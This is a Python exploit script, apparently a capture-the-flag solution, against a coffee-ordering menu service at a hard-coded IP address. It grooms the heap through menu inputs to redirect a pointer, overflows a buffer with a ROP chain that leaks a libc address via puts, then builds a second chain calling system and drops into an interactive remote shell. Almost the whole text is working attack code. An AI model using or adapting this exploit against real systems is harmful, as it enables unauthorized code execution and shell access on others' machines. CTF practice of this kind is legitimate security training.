import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib,time


LOCAL = ('139.59.241.86',31334)
BUFFER = 4096

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(LOCAL)

def recv_until(str,debug=0):
    recv_ = ''
    while not str in recv_:
        tmp = s.recv(BUFFER)
        recv_ += tmp
        if debug:
            print tmp
        continue
    return recv_



recv_until('>')
s.send('1\n')
recv_until('would')
s.send('y\n')
recv_until('>')
count = 14
s.send(str(count)+'\n') # heap feng shui
s.send('y\n')

for i in range(count):
    recv_until('Which one')
    s.send('1\n')
    recv_until('Sugar')
    s.send('1\n')
    recv_until('Milk')
    s.send('1\n')
    recv_until('Iced')
    s.send('3\n')
    recv_until('Size')
    s.send('3\n')


recv_until('>')
s.send('2\n')
recv_until('Order #1 ')
s.send('1\n')
recv_until('would')
s.send('y\n')
recv_until('>')
s.send('2\n')
s.send('y\n')

# Coconut
recv_until('Which one')
s.send('3\n')
recv_until('Sugar')
s.send('1\n')
recv_until('Milk')
s.send('1\n')
recv_until('Iced')
s.send('3\n')
recv_until('Size')
s.send('3\n')

# Milk/Black coffee
recv_until('Which one')
s.send('1\n')
recv_until('Sugar')
s.send('1\n')
recv_until('Milk')
s.send('1\n')
recv_until('Iced')
s.send('10\n')
recv_until('Size')
s.send('3\n')

recv_until('>')
s.send('2\n')
recv_until('Order #1')
s.send('1\n')
recv_until('would')
s.send('y\n')
recv_until('How many cups, sir?')
count = 3
s.send(str(count)+'\n')

time.sleep(1)
s.send('y\n')

for i in range(count-1):
    recv_until('Which one')
    s.send(str(0x20)+'\n')
    recv_until('Sugar')
    s.send('0\n')
    recv_until('Milk')
    s.send('0\n')
    recv_until('Iced')
    s.send(str(0x60)+'\n') # => 0x602070
    recv_until('Size')
    s.send('0\n')

recv_until('Which one')
s.send(str(0x0d)+'\n')
recv_until('Sugar')
s.send('0\n')
recv_until('Milk')
s.send('0\n')
recv_until('Iced')
s.send(str(0x40)+'\n') # => 0x400d30 = read bof
recv_until('Size')
s.send('0\n')


recv_until('>')
s.send('2\n')


payload = "N"
payload += "A"*(210-3)

pop_rdi = 0x0000000000401573
pop_rsi_15 = 0x0000000000401571

puts_plt = 0x400980
puts_got = 0x602030
read_plt = 0x0000000000602050

payload += pack('<QQ',pop_rdi,puts_got)
payload += pack('<Q',puts_plt)
payload += pack('<Q',0x400d4a)

s.send(payload+"\n")

data = recv_until('\x7f')

print repr(data)
leak = unpack('<Q',data[-6:].ljust(8,"\x00"))[0]

libc = leak - 0x6f690

print 'libc:',hex(libc)

print repr(data)

time.sleep(0.5)

payload = "N"
payload = payload.ljust(224+8,'A')


magic = libc+0x4526a
system = libc+0x45390

print 'magic:',hex(magic)
payload += pack('<QQQ',pop_rdi,libc+0x18cd17,system)

print len(payload)

s.send(payload)


# 0x00602000


t = telnetlib.Telnet()
t.sock = s
t.interact()

s.close()